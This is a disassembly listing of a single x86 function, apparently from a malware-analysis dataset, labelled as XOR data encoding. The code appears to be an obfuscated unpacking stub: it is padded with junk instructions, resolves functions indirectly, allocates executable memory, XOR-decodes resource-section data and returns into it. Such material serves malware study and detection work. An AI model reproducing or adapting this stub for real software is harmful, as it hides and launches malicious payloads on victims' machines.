Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x88d7b213
mov esi, 0x4559eb24
not eax
inc eax
popal
not eax
mov esi, eax
mov ecx, 0
mov edx, edi
sub esi, eax
or esi, eax
sub eax, 0xb8a97087
mov ebx, edx
not eax
mov eax, esi
mov edi, ebx
mov esi, 0x8e53e62d
sub eax, esi
dec esi
inc ecx
sub esi, 1
mov eax, esi
not eax
cmp ecx, 0x1008975
jne 0xa789c4
add eax, 0xeddcb2fe
mov eax, esi
or esi, esi
add esi, esi
sub eax, esi
add eax, esi
mov esi, 0xa78796
mov edi, ebx
dec edi
mov eax, 0x5fd1afa0
mov edx, 0xa7898a
not ebx
add ebx, eax
sub eax, 0xa90fb93a
mov ecx, dword [esi]
dec edi
mov ebx, 0xde6e15f6
and ecx, 0xff
mov ebx, eax
sub eax, ebx
inc ebx
xor dword [edx], ecx
inc edi
sub edi, 0xe2e8de05
inc edx
sub edi, 0x1437a59a
inc eax
not edi
inc esi
add edi, eax
not ebx
mov ebx, edi
cmp edx, entry0
jl 0xa78a23
add eax, 0xa9464c82
sub ebx, edi
add edi, 0x80c12e83
and edi, edi
inc ebx
and esi, edi
sub esi, ebx
mov edx, 0xa7898e
add edi, 0x11e5e802
mov edi, 0x4e0aa8c7
mov edx, dword [edx]
and ebx, ebx
mov edi, esi
mov ecx, 0xb4d73d7e
mov edx, dword [edx]
mov edi, 0x73df3ec7
or ebx, ebx
sub ebx, 0x84ddcb16
push edx
mov ebx, ecx
dec esi
mov edx, 0xa7898a
inc edi
add ebx, 0xc2f529c0
mov edx, dword [edx]
inc esi
or ecx, esi
sub esi, ebx
mov edx, dword [edx]
add ecx, ecx
add edi, 0xacbc3e79
sub esi, 0x82ca031e
push 0xa78992
dec esi
and ebx, ebx
dec esi
call edx
add ecx, ebx
inc edi
mov edx, dword [esp]
add esp, 4
add ecx, ebx
add edi, 0x9a9b8b1f
inc edi
push 0xa7899f
or esi, edi
add ebx, ecx
push eax
mov ebx, 0x981dfa04
inc edi
call edx
add esi, ecx
and ebx, edi
push 0x40
add ebx, 0xca45495f
sub edi, ecx
dec edi
push 0x3000
or ecx, edi
and esi, esi
sub ebx, esi
sub esp, 4
mov dword [esp], 0x200008f6
dec ebx
and esi, ecx
add ebx, 0xf503179c
sub esp, 4
mov dword [esp], 0
not ecx
dec edi
dec esi
call eax
add edi, 0xd989c979
sub edi, 0xb813ba14
and ebx, edi
add eax, 0x20000855
not edi
add ebx, edi
not esi
mov edx, 0xa662018c
mov edi, 0xad2e92a2
not esi
mov dword [eax], edx
not ebx
and edi, esi
dec esi
mov edx, dword [eax]
sub esi, edi
sub ecx, esi
inc edi
cmp edx, 0xa662018c
je 0xa78b74
mov ebx, 0
mov edx, dword [ebx]
sub esi, 0x9f2a9108
not esi
sub esi, ecx
and edi, esi
add ecx, 0x2292b66
mov ebx, esi
add esi, 0x228db9e1
or eax, esi
inc esi
mov ecx, section..rsrc_1
inc esi
add esi, 0x56d7f941
and eax, eax
mov edx, 0xa78795
and esi, esi
sub eax, esi
mov ebx, 0
add esi, 0xa74bb7a5
inc esi
add esi, 0x21362c77
mov edi, 0xa78796
add eax, 0xdb76cedf
add eax, 0x2f3a67c
mov eax, 0x1dc35704
lea edi, [ebx + edi]
add esi, 0xe27a43a3
mov esi, 0xd53cd755
mov esi, 0xc3cf43ff
mov edi, dword [edi]
inc esi
inc eax
add eax, 0x679bb2cc
and edi, 0xff
dec esi
add eax, 1
inc ebx
or esi, esi
inc eax
mov eax, 0xd621d96
cmp ebx, 0x1f4
jne 0xa78c10
mov ebx, 0
not eax
inc eax
sub eax, 0xec647bfd
sub esi, eax
inc eax
xor dword [ecx], edi
not esi
mov esi, 0x66d3d47c
add ecx, 2
dec esi
not esi
sub esi, 0xa236660b
cmp ecx, edx
jl 0xa78bba
add esi, eax
sub esi, 1
inc eax
sub esi, 0x3bce9d71
sub eax, 1
or eax, esi
mov edx, section..rsrc_1
inc edi
add edi, 0x879bbe15
mov esi, section..rsrc_1
sub ebx, edi
and ebx, ebx
not ebx
mov eax, 0xa78795
mov edi, ebx
sub ebx, 0x3f9ea52d
mov ecx, 0
and ebx, edi
mov ebx, edi
mov cl, byte [esi]
inc edi
add ebx, ebx
sub ebx, edi
mov byte [edx], cl
add edi, ebx
or ebx, ebx
inc edx
mov ebx, 0x863fa4a4
sub edi, 0x1cb2d31a
sub ebx, edi
add esi, 2
mov ebx, 0x590446d8
mov ebx, 0x5f3b75
cmp esi, eax
jle 0xa78c80
or edi, edi
not ebx
add esi, 0xc981b6d9
mov eax, 0x5882b9b9
sub esi, eax
push 0x8dc6a0
add esi, 0xf6c1f74f
mov eax, 0x340e718
ret